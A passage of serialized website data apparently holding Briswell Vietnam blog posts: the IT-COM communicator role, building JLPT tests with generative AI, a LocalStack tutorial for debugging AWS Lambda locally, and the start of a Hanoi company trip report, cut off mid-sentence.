companies.",[765,3035,3037,3038,3037,3046],{"style":3036},"display:flex; gap:24px; align-items:flex-start;","\n  ",[765,3039,3041,3042,3037],{"style":3040},"width:40%;","\n    ",[438,3043],{"src":3044,"alt":66,"style":3045},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02163009\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%891-768x432.jpg","width:100%; height:auto;",[765,3047,3049],{"style":3048},"width:60%;","\n    But there's a problem. Developers who know Japanese are very few and Japanese people rarely use foreign languages to work. In order for Vietnamese developer and Japanese project managers, customers to understand each other, it is necessary to have someone who is proficient in both Japanese and Vietnamese languages, and also IT's business. That person is IT-COM.\n  ",[11,3051,3052],{},"Perhaps people are not too unfamiliar with this phrase so far. Briswell Vietnam is one of the offshore IT companies in Vietnam with headquarters in Tokyo, Japan. Let's find out who IT-COM is, and the special things of IT-COM in our company.",[1693,3054,3056],{"id":3055},"_1-who-is-it-com",[20,3057,3058],{},"1. Who is IT-COM?",[11,3060,3061,3062],{},"IT-COM is an acronym for Information Technology Communicator, also known as IT-Comter. IT-COM is the person standing between Japanese developers, project managers, customers (hereinafter referred to as the Japanese side) and Vietnamese developers, development leader (hereinafter referred to as the Vietnamese side) to help the two sides communicate and work together.\n",[438,3063],{"className":3064,"alt":66,"src":3065,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F03\u002F26143951\u002Fit_com-1-768x356.png",[1693,3067,3069],{"id":3068},"_2-what-is-the-job-of-an-it-com-and-what-does-it-com-at-briswell-vietnam-do",[20,3070,3071],{},"2. What is the job of an IT-COM and what does IT-COM at Briswell Vietnam do?",[11,3073,3074],{},"Each company has its own requirements for the job of an IT-COM. However, an IT-COM will have to do the following basic tasks:",[31,3076,3077,3080,3083,3086,3089],{},[34,3078,3079],{},"Translate project design files such as DB design, screen design, API design, etc.",[34,3081,3082],{},"Interpret in meetings with the Japanese side",[34,3084,3085],{},"Secretary to record meetings (and translate notes)",[34,3087,3088],{},"Translate questions, answer  of Vietnamese side and Japanese side",[34,3090,3091],{},"Translate feedback (bug, etc) from the Japanese side",[11,3093,3094],{},"At Briswell Vietnam, IT-COM will take on the following additional tasks:",[31,3096,3097,3100,3103,3106,3109],{},[34,3098,3099],{},"Understand the business logic and explain to the developers when needed",[34,3101,3102],{},"Create test condition for unit test and integration test based on design",[34,3104,3105],{},"Implement unit test and integration test",[34,3107,3108],{},"Manage and report project progress when needed",[34,3110,3111],{},"Create design document of database, API, screen, report, batch based on requirement",[11,3113,3114,3117],{},[20,3115,3116],{},"Q:"," Why does Briswell Vietnam require IT-COM to understand the project business?",[11,3119,3120,3123],{},[20,3121,3122],{},"A:"," Because at Briswell Vietnam, IT-COM plays a very important role. Whether the project runs smoothly or not, whether the project is successful or not, the role of IT-COM is also one of the deciding factors.  If an IT-COM only translate like a machine but doesn't fully grasp the project's business, the communication will only stop at the level of word by word translation. So, such rough translation will cause Vietnamese developers consume more time to understand or confirm the request. Only when understands the project, IT-COM can properly and quickly translate Japanese side's main idea for Vietnamese side and vice versa. Tasks such as creating test condition, implement test are not only useful for understanding the business of the project but also useful for learning more about IT knowledge.",[11,3125,3126,3128],{},[20,3127,3116],{}," Is it a bit too much for an IT-COM to do things like creating test-condition, implement test?",[11,3130,3131,3133],{},[20,3132,3122],{}," Most IT-COM are linguistic major, so it may be difficult to get in touch with a major like IT for the first time. However, at Briswell Vietnam, you will be trained to become an IT-COM methodically from zero. As long as you have determination and really serious about your work, do  not worry too much.",[1693,3135,3137],{"id":3136},"_3-what-abilities-and-skills-does-we-look-for-in-an-it-com",[20,3138,3139],{},"3. What abilities and skills does we look for in an IT-COM?",[765,3141,3037,3142,3169],{"style":3036},[765,3143,3145,3146],{"style":3144},"width:70%;","\nIf you want to work as an IT-COM in our company, we are looking for the following abilities, skills and mindset:\n",[31,3147,3148,3151,3154,3157,3160,3163,3166],{},[34,3149,3150],{},"Japanese level equivalent to N2 or higher.",[34,3152,3153],{},"Can talk directly or chat with the Japanese person in charge to confirm and  propose about specifications of application development.",[34,3155,3156],{},"Want to work in the IT field.",[34,3158,3159],{},"Must clarify what partner want to do, understand clearly to respond.",[34,3161,3162],{},"Understand your current self to improve.",[34,3164,3165],{},"Have a sense of responsibility and implement about deadlines ad commitment.",[34,3167,3168],{},"Enjoy focusing on the results of the team, not individual.",[765,3170,3037,3172],{"style":3171},"width:30%;",[438,3173],{"src":3174,"alt":66,"style":3045},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02164355\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%893-768x432.jpg",[1693,3176,3178],{"id":3177},"_4-how-to-become-an-excellent-it-com",[20,3179,3180],{},"4. How to become an excellent IT-COM?",[11,3182,3183],{},"In addition to the above, what is the most important thing to become an excellent IT-COM? Revealing from senior IT-COM at Briswell Vietnam, the secret is self-study. Perhaps not only for IT-COM but in any filed, self-study and self-training to improve skills is the most important thing. And to do that, you must be really serious and passionate with your job.",[11,3185,3186,3187],{},"Experience is an important element too. No one can be good at the first time. So take it easy, give it your best shot, and learn from your failure and successes. It's also important to learn from those who have come before us, but isn't it the best way to experience and enlighten it yourself.\n",[438,3188],{"className":3189,"alt":66,"src":3190,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F02164848\u002F%E3%82%B9%E3%83%A9%E3%82%A4%E3%83%894-768x432.jpg",[11,3192,3193],{},"Hope this essay has been able to help you understand the work of an IT-COM at Briswell Vietnam. Wishing you good health and see you in the next articles!!!",[11,3195,3196,3197],{},"Illustration: ",[55,3198,3199],{"href":3199,"rel":3200},"https:\u002F\u002Fwww.clipartmax.com\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":3202},[],"2024-04-02","Recent years, along with the rapid development of the IT (Information Technology) industry, the demand for human resources for the IT industry such as developer, etc. has also increased. Especially in developed countries like Japan. More and more Japanese software development companies are exploiting IT personnel from developing countries like Vietnam under the form of Outsourcing or building offshore companies.",{},"\u002Fnews\u002Fcong-viec-cua-it-com-o-briswell-vietnam",{"title":3025,"description":3204},"news\u002Fcong-viec-cua-it-com-o-briswell-vietnam","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F21085800\u002Fclipart1702370-e1711439089367.png","kvKTR9qAtWVsxNC4Mea1RL8LYvhUVFfEN2OKXLe7G2k",{"id":3212,"title":3213,"body":3214,"category":3347,"created by":70,"date":3348,"description":3349,"extension":72,"meta":3350,"navigation":74,"path":3351,"sections":76,"seo":3352,"stem":3353,"thumbnail":3354,"__hash__":3355},"content_en\u002Fnews\u002Fcreatedocument-by-generativeai.md","Creating Test Contents with Generative AI to Publication | Exam Site",{"type":8,"value":3215,"toc":3337},[3216,3220,3223,3230,3234,3237,3241,3244,3263,3267,3270,3274,3277,3281,3290,3293,3299,3302,3310,3313,3320,3324,3327,3330],[403,3217,3219],{"id":3218},"introduction-to-exam-site","Introduction to Exam Site",[11,3221,3222],{},"We operate Exam Site, a platform that tests knowledge across various fields such as programming, AWS, and the Japanese Language Proficiency Test (JLPT N3). The site is currently in beta, but if you are interested, you can access it from the link below.",[11,3224,3225],{},[55,3226,3228],{"href":3227,"title":3228,"rel":3229},"https:\u002F\u002Fexam-site.briswell-vn.com\u002F","Exam Site",[59],[403,3231,3233],{"id":3232},"methods-of-creating-test-content","Methods of Creating Test Content",[11,3235,3236],{},"Creating all the questions, answers, and their explanations from scratch is extremely time-consuming. Beyond the content of the questions, it's also necessary to review the wording and grammar of the text. Therefore, we utilize several AI services to facilitate the provision of our tests. Today, I would like to introduce the process of creating questions for the JLPT N3.",[565,3238,3240],{"id":3239},"_1-creating-test-questions","1. Creating Test Questions",[11,3242,3243],{},"There are two methods of creating test questions:",[31,3245,3246,3249],{},[34,3247,3248],{},"Using prompts: We create questions based on specific prompts given to ChatGPT.",[34,3250,3251,3252,3258,3259,878],{},"Creating from materials: ChatGPT reads content from specific literature or materials and creates questions based on that. For example, ",[55,3253,3257],{"href":3254,"title":3255,"rel":3256},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002FBhAaDPZtsN","FROM LARAVEL 8 TO LARAVEL 10 – A MIGRATION GUIDE AND NEW FEATURES INTRODUCTION",[59],"this test"," was created by reading the content of articles from ",[55,3260,3262],{"href":3261,"title":3255},"\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10\u002F","this site",[565,3264,3266],{"id":3265},"_2-adding-images","2. Adding Images",[11,3268,3269],{},"We search for free images that match the questions and incorporate them. (Since ChatGPT's DALL-E 3 is available, we might also start using generated images from AI in the future.)",[565,3271,3273],{"id":3272},"_3-conducting-reviews","3. Conducting Reviews",[11,3275,3276],{},"Reviews are conducted in cooperation between humans and AI. The role of AI, using tools such as ChatGPT, Bing, and Google Bard, is to check whether the explanations and answers are correct. Humans mainly check whether the content is appropriate as a question. Common issues include having multiple questions using incorrect options, choices being obviously incorrect, or the last option in a multiple-choice question almost always not being set as the correct answer. There might be unbalanced problems due to issues in the prompts used in creating test questions. So, we need the combination of human and AI verification.",[565,3278,3280],{"id":3279},"_4-creating-audio-files","4. Creating Audio Files",[11,3282,3283,3284,3289],{},"We tried various options like Google's Text to Speech and Natural Readers, and eventually, we settled on using ",[55,3285,3287],{"href":3286,"title":3287,"rel":3288},"https:\u002F\u002Fwww.narakeet.com\u002F","Narakeet",[59],". The voice feels more natural compared to others, and it allows instructions to be given via script files. Because we can instruct via script files, we can switch conversation voices during audio file creation, eliminating the need for audio editing, and making re-output easy in case of minor edits.",[11,3291,3292],{},"Example Script",[605,3294,3297],{"className":3295,"code":3296,"language":610},[608],"(voice: Takeshi) \n4番： \n(voice: Tomoka) \n明日の会議は8時半からです。遅れないようにしてください。 (\nvoice: Takeshi) \n1. \n(voice: Kasumi) \n了解しました。 \n(voice: Takeshi) \n2. \n(voice: Kasumi) \n構わないです。 \n(voice: Takeshi) \n3. \n(voice: Kasumi) \nどういたしまして。\n",[612,3298,3296],{"__ignoreMap":66},[11,3300,3301],{},"This is the sound file we created.",[3303,3304,3037,3306],"audio",{"controls":74,"style":3305},"width: 100%",[3307,3308],"source",{"src":3309},"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F25170220\u002FMondai-5.4.mp3",[11,3311,3312],{},"This concludes the process of creating a test. Next, all that remains is to register this on the management screen of Exam Site. Here is the test that has been created in this process.",[11,3314,3315],{},[55,3316,3318],{"href":3317,"title":3318,"rel":3319},"https:\u002F\u002Fexam-site.briswell-vn.com\u002Ftesting\u002Fjlpt-n3-listening-1","JLPT N3 問題 - 聴解①",[59],[403,3321,3323],{"id":3322},"finally","Finally",[11,3325,3326],{},"Exam Site utilizes various technologies to create and publish efficient and diverse test contents. Through these processes, we will continue to provide test questions to everyone.",[11,3328,3329],{},"I would appreciate it if you could follow me on X (Twitter).",[11,3331,3332],{},[55,3333,3335],{"href":3334,"title":3335,"rel":3336},"https:\u002F\u002Ftwitter.com\u002FTrainJapan_Exam","Train Japanese | Exam Site",[59],{"title":66,"searchDepth":67,"depth":67,"links":3338},[3339,3340,3346],{"id":3218,"depth":67,"text":3219},{"id":3232,"depth":67,"text":3233,"children":3341},[3342,3343,3344,3345],{"id":3239,"depth":1306,"text":3240},{"id":3265,"depth":1306,"text":3266},{"id":3272,"depth":1306,"text":3273},{"id":3279,"depth":1306,"text":3280},{"id":3322,"depth":67,"text":3323},"AI","2023-11-03","Introduction to Exam Site We operate Exam Site, a platform that tests knowledge across various fields such as programming, AWS, and the Japanese Language Proficiency Test (JLPT N3). The site is currently in beta, but if you are interested, you can access it from the link below.",{},"\u002Fnews\u002Fcreatedocument-by-generativeai",{"title":3213,"description":3349},"news\u002Fcreatedocument-by-generativeai","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F11\u002F03095653\u002Fexam-site-top.png","ZUGr1iT6CfLIOUTkiyXVTsrHetim30ptYq4UP7hyEB8",{"id":3357,"title":3358,"body":3359,"category":1319,"created by":70,"date":3737,"description":3367,"extension":72,"meta":3738,"navigation":74,"path":3739,"sections":76,"seo":3740,"stem":3741,"thumbnail":3742,"__hash__":3743},"content_en\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack.md","Debugging AWS Lambda with LocalStack",{"type":8,"value":3360,"toc":3710},[3361,3365,3368,3372,3376,3379,3385,3389,3392,3398,3402,3405,3411,3415,3419,3422,3428,3431,3437,3441,3444,3450,3453,3457,3460,3464,3468,3472,3475,3481,3485,3488,3494,3497,3500,3506,3509,3515,3519,3522,3528,3532,3535,3541,3544,3548,3552,3555,3559,3562,3568,3571,3575,3579,3583,3586,3592,3595,3603,3607,3610,3616,3618,3637,3641,3643,3647,3650,3654,3657,3661,3665,3671,3677,3683,3689,3695,3699,3702,3704],[403,3362,3364],{"id":3363},"what-is-localstack","What is LocalStack?",[11,3366,3367],{},"LocalStack is an open-source software development tool that helps you deploy and run applications in a simulated cloud environment on your personal computer or server. It provides a replica of many popular cloud services, such as Amazon S3, AWS Lambda, DynamoDB, and many others. This allows you to develop, test, and debug your applications without having to connect to a real cloud environment.",[403,3369,3371],{"id":3370},"installation","Installation",[565,3373,3375],{"id":3374},"install-localstack","Install LocalStack",[11,3377,3378],{},"Follow the instructions at the following link to install LocalStack:",[11,3380,3381],{},[55,3382,3383],{"href":3383,"rel":3384},"https:\u002F\u002Fdocs.localstack.cloud\u002Fgetting-started\u002Finstallation\u002F",[59],[565,3386,3388],{"id":3387},"install-docker","Install Docker",[11,3390,3391],{},"Follow the instructions at the following link to install Docker:",[11,3393,3394],{},[55,3395,3396],{"href":3396,"rel":3397},"https:\u002F\u002Fdocs.docker.com\u002Fengine\u002Finstall\u002F",[59],[565,3399,3401],{"id":3400},"install-aws-cli","Install AWS CLI",[11,3403,3404],{},"Follow the instructions at the following link to install AWS CLI and configure a profile for the local environment:",[11,3406,3407],{},[55,3408,3409],{"href":3409,"rel":3410},"https:\u002F\u002Fdocs.localstack.cloud\u002Fuser-guide\u002Fintegrations\u002Faws-cli\u002F#aws-cli",[59],[403,3412,3414],{"id":3413},"setup-localstack","Setup LocalStack",[565,3416,3418],{"id":3417},"create-docker-composeyml-file","Create docker-compose.yml file",[11,3420,3421],{},"We will start LocalStack with a Docker-Compose setup. Create a new file named docker-compose.yml and add the following configuration:",[605,3423,3426],{"className":3424,"code":3425,"language":610},[608],"version: \"3.8\"\n\nservices:\n  localstack:\n    container_name: \"${LOCALSTACK_DOCKER_NAME-localstack_main}\"  # Name of the container to be used\n    image: localstack\u002Flocalstack:latest  # Docker image for LocalStack, latest version\n    ports:\n      - \"127.0.0.1:4566:4566\"            # Port for accessing LocalStack Gateway from the local machine\n      - \"127.0.0.1:4510-4559:4510-4559\"  # Port range for external services\n    environment:\n      - DEBUG=1  # Enable Debug mode in LocalStack\n      - LAMBDA_REMOTE_DOCKER=0  # Turn off remote Docker usage for Lambda\n      - LAMBDA_DOCKER_FLAGS=-e NODE_OPTIONS=--inspect-brk=0.0.0.0:9229 -p 9229:9229  # Exposes port 9229 for debugging the Lambda handler code.\n      - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR-}  # Lambda execution type (if defined)\n      - DOCKER_HOST=unix:\u002F\u002F\u002Fvar\u002Frun\u002Fdocker.sock  # Link to Docker via Docker socket\n    volumes:\n      - \"${LOCALSTACK_VOLUME_DIR:-.\u002Fvolume}:\u002Fvar\u002Flib\u002Flocalstack\"  # Mount point for LocalStack data directory\n      - \"\u002Fvar\u002Frun\u002Fdocker.sock:\u002Fvar\u002Frun\u002Fdocker.sock\"  # Mount Docker socket to access Docker from the LocalStack container\n",[612,3427,3425],{"__ignoreMap":66},[11,3429,3430],{},"In addition, to see other configurations of LocalStack, you can refer to the following link:",[11,3432,3433],{},[55,3434,3435],{"href":3435,"rel":3436},"https:\u002F\u002Fdocs.localstack.cloud\u002Freferences\u002Fconfiguration\u002F",[59],[565,3438,3440],{"id":3439},"start-up-localstack-with-docker","Start up LocalStack with Docker",[11,3442,3443],{},"We will run the following command to start LocalStack:",[605,3445,3448],{"className":3446,"code":3447,"language":610},[608],"docker-compose up -d\n",[612,3449,3447],{"__ignoreMap":66},[11,3451,3452],{},"After running the above command, we see that the Docker Container is running",[438,3454],{"className":3455,"alt":66,"src":3456,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12132634\u002Fdocker-container-start.png",[11,3458,3459],{},"And successfully started LocalStack",[438,3461],{"className":3462,"alt":66,"src":3463,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12134424\u002Flocalstack-start-success.png",[403,3465,3467],{"id":3466},"setup-lambda-function-debugging","Setup Lambda Function Debugging",[565,3469,3471],{"id":3470},"create-launchjson-file","Create launch.json file",[11,3473,3474],{},"We create a .vscode\u002Flaunch.json file and add the following configuration:",[605,3476,3479],{"className":3477,"code":3478,"language":610},[608],"{\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"address\": \"127.0.0.1\",\n      \"localRoot\": \"${workspaceFolder}\",\n      \"name\": \"Attach to Remote Node.js\",\n      \"port\": 9229,\n      \"remoteRoot\": \"\u002Fvar\u002Ftask\u002F\",\n      \"request\": \"attach\",\n      \"type\": \"node\",\n      \"preLaunchTask\": \"Wait Remote Debugger Server\"\n    },\n  ]\n}\n",[612,3480,3478],{"__ignoreMap":66},[565,3482,3484],{"id":3483},"create-tasksjson-file","Create tasks.json file",[11,3486,3487],{},"We create a .vscode\u002Ftasks.json file and add the following configuration:",[605,3489,3492],{"className":3490,"code":3491,"language":610},[608],"{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Wait Remote Debugger Server\",\n      \"type\": \"shell\",\n      \"command\": \"while [[ -z $(docker ps | grep :9229) ]]; do sleep 1; done; sleep 1;\"\n    }\n  ]\n}\n",[612,3493,3491],{"__ignoreMap":66},[11,3495,3496],{},"Note: The above code only executes on Linux and macOS. If you are using Windows, do the following:",[11,3498,3499],{},"Create a .vscode\u002Ftasks.json file",[605,3501,3504],{"className":3502,"code":3503,"language":610},[608],"{\n  \"version\": \"2.0.0\",\n  \"tasks\": [\n    {\n      \"label\": \"Wait Remote Debugger Server\",\n      \"type\": \"shell\",\n      \"command\": \"powershell\",\n      \"args\": [\n        \".\\\\.vscode\\\\wait-debugger.ps1\"\n      ]\n    }\n  ]\n}\n",[612,3505,3503],{"__ignoreMap":66},[11,3507,3508],{},"Create a .vscode\u002Fwait-debugger.ps1 file",[605,3510,3513],{"className":3511,"code":3512,"language":610},[608],"while (-not (docker ps | Select-String \":9229\")) {\n  Start-Sleep -Seconds 1\n}\nStart-Sleep -Seconds 1\n",[612,3514,3512],{"__ignoreMap":66},[565,3516,3518],{"id":3517},"create-functionts-file","Create function.ts file",[11,3520,3521],{},"In this example, we will create a function.ts file containing Lambda Function code using Node.js and TypeScript for debug testing:",[605,3523,3526],{"className":3524,"code":3525,"language":610},[608],"export const  handler = async (event: any) =>  {\n  const response = {\n    statusCode: 200,\n    body: \"hello word\",\n  };\n  return response;\n};\n",[612,3527,3525],{"__ignoreMap":66},[403,3529,3531],{"id":3530},"create-lambda-function-on-localstack","Create Lambda Function on LocalStack",[11,3533,3534],{},"To create a Lambda Function on LocalStack we use the following command:",[605,3536,3539],{"className":3537,"code":3538,"language":610},[608],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 lambda create-function \\\n--function-name localstack-lambda-function \\\n--code S3Bucket=\"hot-reload\",S3Key=\"$(pwd)\u002F\" \\\n--handler function.handler \\\n--runtime nodejs18.x \\\n--timeout 120 \\\n--role arn:aws:iam::000000000000:role\u002Flambda-role\n",[612,3540,3538],{"__ignoreMap":66},[11,3542,3543],{},"After running the above command, the Lambda Function has been successfully created on LocalStack",[438,3545],{"className":3546,"alt":66,"src":3547,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13084745\u002Fcreate-lambda-function-on-localstack-1024x495.png",[403,3549,3551],{"id":3550},"implement-debugging-lambda-function","Implement Debugging Lambda Function",[11,3553,3554],{},"In VS Code you can debug by placing breakpoints where the code needs to be debugged and pressing F5 to run",[438,3556],{"className":3557,"alt":66,"src":3558,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13091141\u002Fstart-debug-lambda-local-1024x532.png",[11,3560,3561],{},"Then execute the Lambda Function with the following command:",[605,3563,3566],{"className":3564,"code":3565,"language":610},[608],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 lambda invoke \\\n--function-name localstack-lambda-function lambda.log \\\n--cli-binary-format raw-in-base64-out \\\n--payload '{\"hello\":\"world\"}'\n",[612,3567,3565],{"__ignoreMap":66},[11,3569,3570],{},"After running the above command, you have successfully debugged",[438,3572],{"className":3573,"alt":66,"src":3574,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F13091644\u002Fdebug-success-1024x526.png",[403,3576,3578],{"id":3577},"implement-debugging-lambda-function-with-amazon-s3-to-trigger-aws-lambda-when-uploading-files","Implement Debugging Lambda Function with Amazon S3 to trigger AWS Lambda when uploading files",[565,3580,3582],{"id":3581},"create-a-bucket-on-amazon-s3","Create a bucket on Amazon S3",[11,3584,3585],{},"To create a bucket on Amazon S3, we use the following command:",[605,3587,3590],{"className":3588,"code":3589,"language":610},[608],"aws s3api create-bucket --bucket local-stack-bucket --create-bucket-configuration LocationConstraint=ap-northeast-1 --endpoint-url=http:\u002F\u002Flocalhost:4566\n",[612,3591,3589],{"__ignoreMap":66},[11,3593,3594],{},"In there:",[31,3596,3597],{},[34,3598,3599,3602],{},[20,3600,3601],{},"local-stack-bucket:","  is the name of the bucket",[565,3604,3606],{"id":3605},"configure-amazon-s3-trigger-to-lambda-function","Configure Amazon S3 trigger to Lambda Function",[11,3608,3609],{},"To trigger the Lambda Function when uploading a file to Amazon S3, we use the following command:",[605,3611,3614],{"className":3612,"code":3613,"language":610},[608],"aws --endpoint-url=http:\u002F\u002Flocalhost:4566 s3api put-bucket-notification-configuration \\\n    --bucket local-stack-bucket \\\n    --notification-configuration '{\n        \"LambdaFunctionConfigurations\": [\n          {\n            \"Id\": \"1\", \n            \"LambdaFunctionArn\": \"arn:aws:lambda:ap-northeast-1:000000000000:function:localstack-lambda-function\",\n            \"Events\": [\"s3:ObjectCreated:*\"]\n          }\n        ]\n    }'\n",[612,3615,3613],{"__ignoreMap":66},[11,3617,3594],{},[31,3619,3620,3625,3631],{},[34,3621,3622,3624],{},[20,3623,3601],{},"  is the name of the bucket to be configured",[34,3626,3627,3630],{},[20,3628,3629],{},"LambdaFunctionArn:","  is the Arn of the Lambda Function that needs to trigger",[34,3632,3633,3636],{},[20,3634,3635],{},"Events:"," is an event on Amazon S3 that triggers a Lambda Function",[565,3638,3640],{"id":3639},"proceed-to-debug-the-lambda-function","Proceed to debug the Lambda Function",[11,3642,3554],{},[438,3644],{"className":3645,"alt":66,"src":3646,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05135231\u002Fcode-debug-1-1024x520.png",[11,3648,3649],{},"Then proceed to upload the file to the Amazon S3 bucket on the LocalStack cloud",[438,3651],{"className":3652,"alt":66,"src":3653,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05145618\u002Fapp-localstack-1024x369.png",[11,3655,3656],{},"After uploading the file, you have successfully debugged",[438,3658],{"className":3659,"alt":66,"src":3660,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F05145927\u002Fresult-debug-1024x522.png",[403,3662,3664],{"id":3663},"the-drawbacks-of-localstack","The Drawbacks of LocalStack",[11,3666,3667,3670],{},[20,3668,3669],{},"Limited Support For AWS Services:","  LocalStack provides emulation for several important services such as S3, DynamoDB, Lambda, and SQS. However, not all AWS services are supported, and some services may be unavailable or implemented with only some basic features. This can be a hassle if your application depends on unsupported services.",[11,3672,3673,3676],{},[20,3674,3675],{},"Missing Features:"," Although LocalStack helps simulate services, not all of their features are implemented. Configuration options can be limited, reducing compatibility between the local development environment and the actual environment on AWS.",[11,3678,3679,3682],{},[20,3680,3681],{},"Limited Scalability:"," LocalStack is not designed to scale as aggressively as the AWS environment. If you are working on large projects at scale, testing and development in a local environment may not reflect reality on AWS.",[11,3684,3685,3688],{},[20,3686,3687],{},"Delay:"," Due to emulation and attempts to replicate AWS services, LocalStack may experience delays compared to the actual use of services. This can reduce performance and slow down development and testing.",[11,3690,3691,3694],{},[20,3692,3693],{},"Slow Update:"," LocalStack may not update quickly with new versions of AWS services. This can lead to asynchrony when new features are needed or when there are changes in the AWS API.",[403,3696,3698],{"id":3697},"conclusion","Conclusion",[11,3700,3701],{},"Using LocalStack helps us develop and debug Lambda Functions, as well as other AWS services, effectively in a local environment. It helps ensure proper integration and functionality before deploying to actual AWS, saving time, and cost, and reducing impact on your real AWS account during development.",[403,3703,2891],{"id":2890},[11,3705,3706],{},[55,3707,3708],{"href":3708,"rel":3709},"https:\u002F\u002Fdocs.localstack.cloud\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":3711},[3712,3713,3718,3722,3727,3728,3729,3734,3735,3736],{"id":3363,"depth":67,"text":3364},{"id":3370,"depth":67,"text":3371,"children":3714},[3715,3716,3717],{"id":3374,"depth":1306,"text":3375},{"id":3387,"depth":1306,"text":3388},{"id":3400,"depth":1306,"text":3401},{"id":3413,"depth":67,"text":3414,"children":3719},[3720,3721],{"id":3417,"depth":1306,"text":3418},{"id":3439,"depth":1306,"text":3440},{"id":3466,"depth":67,"text":3467,"children":3723},[3724,3725,3726],{"id":3470,"depth":1306,"text":3471},{"id":3483,"depth":1306,"text":3484},{"id":3517,"depth":1306,"text":3518},{"id":3530,"depth":67,"text":3531},{"id":3550,"depth":67,"text":3551},{"id":3577,"depth":67,"text":3578,"children":3730},[3731,3732,3733],{"id":3581,"depth":1306,"text":3582},{"id":3605,"depth":1306,"text":3606},{"id":3639,"depth":1306,"text":3640},{"id":3663,"depth":67,"text":3664},{"id":3697,"depth":67,"text":3698},{"id":2890,"depth":67,"text":2891},"2024-03-08",{},"\u002Fnews\u002Fdebugging-aws-lambda-voi-localstack",{"title":3358,"description":3367},"news\u002Fdebugging-aws-lambda-voi-localstack","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F10\u002F12100501\u002Flocalstack-image.jpg","6qONir5EJ9WI-TSlD7WepLp2L4kIlegnPG4QC_6DeYI",{"id":3745,"title":3746,"body":3747,"category":2999,"created by":3000,"date":3863,"description":3864,"extension":72,"meta":3865,"navigation":74,"path":3866,"sections":76,"seo":3867,"stem":3868,"thumbnail":3869,"__hash__":3870},"content_en\u002Fnews\u002Fdu-lich-cong-ty-nam-2024-hanh-trinh-kham-pha-thu-do-ha-noi.md","COMPANY TRIP 2024 - THE JOURNEY TO THE CAPITAL HA NOI",{"type":8,"value":3748,"toc":3861},[3749,3752,3755,3758,3762,3765,3769,3772,3776,3779,3783,3786,3798,3801,3809,3813,3816,3824,3832,3840,3844,3847,3851,3854,3858],[11,3750,3751],{},"Hanoi Adventure: The Briswell Family's 3-Day Getaway",[11,3753,3754],{},"Ever wondered what the Briswell family got up to during our 3-day Hanoi adventure? Let's dive into our exciting journey and discover what made the city so captivating for us.",[11,3756,3757],{},"We started our exploration with a stroll around Hoan Kiem Lake, then visited the serene Tran Quoc Pagoda, admiring its ancient beauty.",[438,3759],{"className":3760,"alt":66,"src":3761,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F28160844\u002Fcompany-trip-1-1024x768.png",[11,3763,3764],{},"We gained a lot of knowledge from visiting the Temple of Literature - Imperial Academy and learning about Vietnam's educational history.",[438,3766],{"className":3767,"alt":66,"src":3768,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F10\u002F24105510\u002F1-1024x768.png",[11,3770,3771],{},"Enjoying the original Hanoi-style bun cha - a must - try when visiting the 